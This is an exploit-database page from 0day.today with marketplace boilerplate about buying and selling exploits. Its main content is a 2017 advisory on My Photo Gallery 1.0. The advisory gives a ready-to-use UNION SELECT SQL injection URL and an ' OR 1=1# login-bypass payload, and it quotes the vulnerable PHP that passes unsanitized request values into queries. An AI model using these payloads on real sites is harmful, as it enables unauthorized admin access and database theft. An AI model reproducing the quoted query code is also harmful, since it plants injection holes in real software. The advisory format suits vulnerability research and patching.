0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
My Photo Gallery 1.0 SQL Injection / Unauthorized Login Vulnerabilities
------------------------------------------------------------------------- [+] My Photo Gallery 1.0 SQL Injection / Unauthorized Login ------------------------------------------------------------------------ [*] Discovered by Juri Gianni - Turin,Italy [*] staker - staker[at]hotmail[dot]it / shrod9[at]gmail[dot]com [*] Discovered on 02/02/2017 [*] Site Vendor: http://software.friendsinwar.com/news.php?readmore=40 [*] Category: WebApp [*] BUG: SQL Injection -------------------------------------------------------------------------- -------------------------------------------------------------------------------------- [+] SQL Injection # my_photo_gallery/index.php?catid=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- # This happens because of index.php ---------------------------------------------------------------------------------------- Line 29 if(isset($_GET['catid'])) { $cat_id=$_GET['catid']; <--- variable not sanized $result = mysqli_query($conn, "select * FROM ".$prefix."images WHERE img_active=1 AND img_cat=$cat_id ORDER BY img_id LIMIT $start, $limit"); $rows=mysqli_num_rows($result); } else { $result = mysqli_query($conn, "select * FROM ".$prefix."images WHERE img_active=1 ORDER BY img_id LIMIT $start, $limit"); $rows=mysqli_num_rows($result); } Line 36 -------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------- [-] Login Bypass (short explanation) # Go to login.php or admin/login.php and insert into username field: ' OR 1=1# # This happens because of include/checklogin.php -------------------------------------------------------------------------------------- Line 16 // Get the data passed from the form $username = $_POST['username']; <------ variable not sanized $password = md5($_POST['password']); // Do some basic sanitizing $username = stripslashes($username); <------ magic quotes pff... $password = stripslashes($password); $sql = "select * from ".$prefix."users where username = '$username' and password = '$password'"; <----- query $result = mysqli_query($conn, $sql) or die ( mysql_error() ); Line 25 ------------------------------------------------------------------------ # 0day.today [2024-09-19] #